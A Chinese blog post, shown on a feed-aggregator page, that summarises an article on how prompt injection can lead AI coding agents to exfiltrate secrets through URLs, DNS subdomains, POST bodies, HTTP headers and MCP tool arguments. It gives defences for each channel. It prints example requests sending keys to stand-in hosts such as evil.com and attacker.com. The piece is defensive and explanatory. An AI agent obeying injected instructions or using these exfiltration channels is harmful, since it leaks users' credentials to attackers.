惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

小众软件
小众软件
Cloudbric
Cloudbric
G
Google Developers Blog
博客园_首页
博客园 - 司徒正美
N
Netflix TechBlog - Medium
Recorded Future
Recorded Future
博客园 - 叶小钗
C
Check Point Blog
L
LangChain Blog
CTFtime.org: upcoming CTF events
CTFtime.org: upcoming CTF events
酷 壳 – CoolShell
酷 壳 – CoolShell
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
Stack Overflow Blog
Stack Overflow Blog
大猫的无限游戏
大猫的无限游戏
Cyberwarzone
Cyberwarzone
Project Zero
Project Zero
V
Vulnerabilities – Threatpost
C
Cisco Blogs
Scott Helme
Scott Helme
Last Week in AI
Last Week in AI
博客园 - 聂微东
T
Threat Research - Cisco Blogs
www.infosecurity-magazine.com
www.infosecurity-magazine.com
B
Blog RSS Feed
Microsoft Security Blog
Microsoft Security Blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
The Hacker News
The Hacker News
Forbes - Security
Forbes - Security
Simon Willison's Weblog
Simon Willison's Weblog
I
Intezer
Cisco Talos Blog
Cisco Talos Blog
S
Schneier on Security
T
The Exploit Database - CXSecurity.com
阮一峰的网络日志
阮一峰的网络日志
爱范儿
爱范儿
AWS News Blog
AWS News Blog
C
CERT Recently Published Vulnerability Notes
Google DeepMind News
Google DeepMind News
N
News | PayPal Newsroom
Help Net Security
Help Net Security
B
Blog
Exploit-DB.com RSS Feed
Exploit-DB.com RSS Feed
T
Tenable Blog
I
InfoQ
S
Securelist
V
Visual Studio Blog
U
Unit 42
博客园 - 【当耐特】
S
Security @ Cisco Blogs

暗无天日

读:AI Agent 安全日志——从可见性与隐私的两难说起 - 暗无天日 读:AI Agent 生产化——一份从原型到上线的速查清单 - 暗无天日 AI写作的语言指纹——如何让文字不那么像机器 - 暗无天日 读:50 条 Claude Code 技巧——一个工程经理的六个月使用心得 读:AI 辅助开发为什么让 E2E 测试更有价值 - 暗无天日 读:在Emacs中使用Claude Code(Spacemacs适配版) - 暗无天日 Claude Code 背后的工程哲学——读 Agent Harness Engineering 读:Agent Harness Engineering——AI 智能体不只是模型,还有套件 - 暗无天日 browser-harness:让 AI 直接接管你的浏览器 - 暗无天日 读:Security-First CI/CD —— DevSecOps 自动化实践指南 TIL: 数字小键盘的小数点陷阱与行内算术求值 - 暗无天日 读:Immutability 不是万能药,它是一种权衡 - 暗无天日 Conducty:给 Claude Code 加上项目记忆和并行执行能力 - 暗无天日 读 — GitHub Trending 里的 Claude Code 技能包 读 — Prompt Caching 省钱指南 TIL: Emacs 中那些跟鼠标配合的冷门快捷键 - 暗无天日 读:Anvil——把 Emacs 变成 AI 的工具服务器 读:Emacs 代码折叠终极指南 - 暗无天日 读:Clojure 搭车客指南 - 暗无天日 git推送失败后恢复仓库损坏的完整记录 - 暗无天日 多智能体系统的两个有效模式——以及对 Claude Code 用户的启示 - 暗无天日 用 Org Babel 写 Literate 博文:扩展执行 + 定制导出 proced:Emacs 内置的进程查看器 - 暗无天日 从 proced 定制中学到的 Elisp 模式 读:让 Emacs proced 在 macOS 上显示 CPU 和内存 异步编程的函数着色税 - 暗无天日 链式调用的代价:JavaScript 和 Clojure 的共同教训 - 暗无天日 hyperfine:命令行基准测试工具 - 暗无天日 管道中的变量去哪了?——子 shell 作用域陷阱 - 暗无天日 开源包装器的信任陷阱:四个危险信号 - 暗无天日 程序员愿意为 AI 写文档,却不愿为同事写 - 暗无天日 mktemp: Shell 脚本中临时文件的安全陷阱与最佳实践 - 暗无天日 WSL9x —— 在 Windows 9x 里跑 Linux 内核 6.19 用 ox.el 做你想做的事 —— org-export 高级编程指南 读:Hot-wiring the Lisp Machine —— 用纯 Elisp 构建零依赖的 Org 静态站点生成器 Elisp 性能优化的六个实战教训 - 暗无天日 fcitx5 下 Emacs 无法切换输入法的排查 - 暗无天日 ERT 测试交互命令的三种方式 - 暗无天日 SEM Assistant: 当 Elisp 守护进程遇上 LLM 用 dmsg 给 Elisp 加上结构化调试日志 用 org-habit 追踪非每日习惯 - 暗无天日 Clojure X-Men:当编程语言特性变成超能力 - 暗无天日 TIL: 用 diff-hl 在 fringe 中显示 git 变更 读:llm-test —— 用 LLM agent 驱动 Emacs 测试 TIL: AI 时代的橡皮鸭调试 - 暗无天日 fcitx 启动后键盘输入卡顿的排查 - 暗无天日 TIL: 早期网页的图片热区导航 - 暗无天日 读 Seeing the Whole System 用 Emacs 自动生成每周链接推荐 - 暗无天日 读:ASCII control characters in my terminal 读 What to learn - 暗无天日 Lisp 的括号之痛——一个愚人节玩笑揭开的老伤疤 - 暗无天日 一本书该"线性读"还是"并行读" - 暗无天日 读 How to Monetize a Blog:一篇伪装成变现指南的讽刺文 Python Mock 第三方依赖的四种策略 - 暗无天日 Emacs Lisp 热重载实用指南 - 暗无天日 Prot 的 Emacs 配置哲学 - 暗无天日 TIL: 从直播对谈中学到的三个 Emacs 技巧 - 暗无天日 TIL: 自动使用项目虚拟环境的 Python - 暗无天日 TIL: 让 Help buffer 自动获得焦点 一条命令让本地开发用上 HTTPS —— slim 工具介绍 用 fsck 检查和修复 Linux 文件系统 排查Linux进程"卡死"实战:从strace到gdb全流程 - 暗无天日 PostgreSQL 索引:从基础到你可能不知道的高级用法 - 暗无天日 用 .pdbrc 自定义 Python 调试器 ANSI 转义码的标准化现状 - 暗无天日 终端程序的潜规则 - 暗无天日 PARA Org-mode 测试配置 - 暗无天日 AI越强越辣鸡?控制论说这是必然的 - 暗无天日 AI 越强越需要你盯着——反馈循环实操指南 - 暗无天日 LLM 在 DevOps 中的三种角色 - 暗无天日 写作风格的反建议 - 暗无天日 反驳本质复杂性——Dan Luu 论为什么《没有银弹》错了 - 暗无天日 文件充满了危险——Dan Luu 谈文件系统的可靠性陷阱 - 暗无天日 AI 时代的 PARA 方法:用 Org-mode 和 AI 打造个人知识管理系统 Linux 数据去重学习笔记 - 暗无天日 创建跨平台 ZIP 文件的隐藏陷阱:Extra Field - 暗无天日 X11 Forwarding 排障指南 - 暗无天日 IP欺骗端口扫描:当别人冒充你去扫描别人 - 暗无天日 Linux 输入栈全景解析:从硬件按键到屏幕响应 - 暗无天日 Unix 系统中那些被埋没的配置开关——以 FontConfig 为例 - 暗无天日 在Linux上限制儿童使用电脑 - 暗无天日 GIF不仅仅是一种图片格式——用GIF流做些奇怪的事 - 暗无天日 Leiningen 学习笔记:Clojure 项目构建与管理从入门到实战配置 - 暗无天日 Google SRE Book 读书笔记 - 暗无天日 yes 管道 head 发生了什么 - 暗无天日 为什么 nohup 在 crontab 中不起作用 Bash中的Indirection与Nameref - 暗无天日 Linux PAM 简介 - 暗无天日 从Linux ISO文件启动计算机 - 暗无天日 用 Bash 打造一个Screen Locker 用GitHub Actions自动构建EGO博客 - 暗无天日 blocking I/O 的作用 - 暗无天日 mobileog 手机端同步提示Error:2 No such file 的解决方法 回收 WSL2 VHDX 文件占用空间 使用 org-mode columnview 生成任务列表 - 暗无天日 Emacs 作为 MPD 客户端 - 暗无天日 移动文件路径却不破坏org file link的方法 - 暗无天日 如何合理的导出help link 成HTML - 暗无天日 笑话理解之Biology - 暗无天日
你的AI代理正在偷你的密钥——四种你没想到的泄露通道 - 暗无天日
2026-04-16 · via 暗无天日

原文:4 Ways Your AI Coding Agent Exfiltrates Secrets

一个不该被忽视的事实

你每天用的 AI 编码代理——Claude Code、Cursor、Windsurf——能读取你的环境变量、配置文件和源代码。同时,它们还在不停地发 HTTP 请求:安装依赖、调用 API、拉取文档。你的代理 既有你的钥匙,又有通向外面的门

一个藏在依赖包、工具响应甚至 Markdown 文件里的提示注入,就能让代理把你的凭据夹在下一个出站请求里发出去。代理不知道有什么不对,因为那条指令看起来就是一个普通任务。

Josh Waldrep 在 DZone 上分析了这个问题,指出了四种不同的泄露通道。然而大多数安全工具只能发现第一种。

四条通道

通道一:URL 明文

最简单粗暴的方式。注入指令让代理请求一个带密钥的 URL:

GET https://evil.com/collect?key=AKIAIOSFODNN7EXAMPLE

密钥直接出现在查询字符串或路径里。任何检查 URL 的网络代理都能用正则匹配到已知的密钥格式(AWS key、GitHub token、API key)。

防御 :在正向代理上做 URL 级别的 DLP(Data Loss Prevention)扫描。这是目前 覆盖最广的一层 ,大多数代理安全工具都在做这个。

局限 :只抓得到 URL 里出现的密钥。知道有 URL 扫描的攻击者,会直接换下面三条路走。

通道二:DNS 查询

这一条很隐蔽。注入指令让代理请求 https://sk-ant-XXXXX.attacker.com/ping 。HTTP 请求还没开始,代理的 HTTP 客户端先要解析主机名。这个 DNS 查询会打到攻击者的域名服务器:

sk-ant-api03-XXXXX.attacker.com. IN A

攻击者在查询日志里看到完整的子域名,密钥就到手了。没有请求体,没有查询参数,没有任何 HTTP 流量。 一个 DNS 查询就够了

防御 :DLP 扫描必须在 DNS 解析 之前 运行。如果代理先解析主机名再应用安全规则(大多数正是这么做的),密钥已经泄露了。扫描顺序至关重要:先模式匹配,再解析。

局限 :大多数代理工具在应用安全规则之前就已经完成了 DNS 解析。DNS-over-HTTPS 让拦截更难。

通道三:POST 请求体

代理用你的凭据作为参数调用一个 API:

POST https://api.legitimate-service.com/v1/notes
Content-Type: application/json

{"title": "config", "body": "AKIAIOSFODNN7EXAMPLE"}

URL 干干净净,主机名甚至可能在白名单上。所有 URL 级别的扫描器看到的都是一个正常 API 调用。密钥藏在请求体里,URL 扫描根本碰不到。

代理时时刻刻都在发 POST 请求,这跟正常行为完全无法区分。

防御 :请求体 DLP 扫描。代理缓冲请求体,从 JSON、表单字段、multipart 中提取文本,对提取出的内容跑密钥模式匹配。解析失败就阻断(fail-closed)。

局限 :HTTPS 流量走正向代理时用的是 CONNECT 隧道,内容是加密的。代理只看得到主机名,看不到请求体。要完整扫描请求体,要么做 TLS 拦截(MITM,需要受信 CA 证书),要么把请求路由到代理替你发起请求的端点。

通道四:HTTP 头部

代理设置一个带凭据的自定义头部:

GET https://api.example.com/data
Authorization: Bearer sk-ant-api03-abc123def456
X-Debug-Token: ghp_ABCDEFghijklmnopQRSTUVWXyz0123456789

这是最狡猾的通道。代理在每次 API 调用时都会设置 Authorization 头部。发给 api.openai.comBearer 头部是正常使用,发给 evil.com 就是泄露。而代理把你的 OpenAI key 发给其他服务,是纯 DLP 很难判定的灰色地带。

防御 :头部 DLP 扫描。至少扫描已知会携带凭据的头部(Authorization、Cookie、X-Api-Key)。更激进的模式:扫描所有头部,包括头部名称(密钥可以被编码为自定义头部名称,比如 X-AKIA1234 )。

局限 :跟请求体一样受 CONNECT 隧道限制。而且合法 API 调用本身就在头部里发凭据,白名单特定 key 对应特定目标虽然有用,但配置量大且无法自动扩展。

MCP:第五条通道

HTTP 之外还有一条路:MCP(Model Context Protocol)工具调用。代理使用 MCP 服务器时,工具参数是独立的数据通路。代理可以把你的凭据作为工具参数传过去,MCP 服务器想转发到哪里就转发到哪里。

扫描 MCP 工具输入里的密钥需要在 MCP 服务器外包裹一层检查,架构上跟 HTTP 代理扫描完全不同,但解决的是同一个问题。

工具现状

AI 代理安全领域还很年轻:

URL 代理 URL 级 DLP 多数工具已覆盖 DNS 解析前 DLP 扫描 稀缺,需要扫描顺序意识 请求体 请求体 DLP 新兴,受 CONNECT 隧道限制 头部 头部 DLP 新兴,合法使用产生误报
通道 防御手段 工具状态

开源方面,Pipelock 覆盖了四个通道(不过请求体和头部扫描目前限于明文代理流量,TLS 拦截还在开发中)。商业方面,Protect AI、Lasso Security 等正在进入这个领域。OWASP Top 10 for LLM Applications 把这类攻击归类在"Sensitive Information Disclosure"下。

共同模式:一个正向代理坐在代理和互联网之间,扫描出站流量中已知的密钥模式。差异在于 扫描什么 (URL only vs URL + DNS + body + headers)和 什么时候扫描 (DNS 解析前还是后)。

仍未解决的问题

即使四个 HTTP 通道全部覆盖,有些泄露技术仍然很难阻止:

  • 编码载荷 :Base64 编码后绕过正则匹配。基于熵的检测有帮助,但合法编码数据也会触发误报
  • 分块泄露 :每次请求发一个字符,几百次调用凑齐整个密钥。单请求扫描无法重建密钥,会话级数据预算只是部分缓解
  • 隐写术 :把密钥编码进图片像素或音频样本中上传。二进制内容分析是完全不同的问题域
  • 合法目标滥用 :把你的 OpenAI key 发给 api.openai.com 的 Authorization 头部,既是正确使用,也可能是泄露给第三方系统。上下文很重要,自动化工具搞不定上下文

根本矛盾:AI 代理需要网络访问和凭据访问才能工作。去掉任何一个,代理就废了。安全挑战在于监控两者的交集,同时不破坏工作流。

你现在能做的

四条立即可行的建议:

  1. 代理流量走代理 。哪怕只有基本的 URL 扫描也比裸奔强。在代理环境中设置 HTTPS_PROXYHTTP_PROXY
  2. 审计代理权限 。检查哪些环境变量、配置文件和密钥对代理可见,移除它不需要的
  3. 域名白名单 。如果你的代理只需要 api.anthropic.comregistry.npmjs.orggithub.com ,别让它跟其他任何东西通信
  4. 关注非常规通道 。只扫 URL 不够。DNS、请求体和头部是下一轮攻击的目标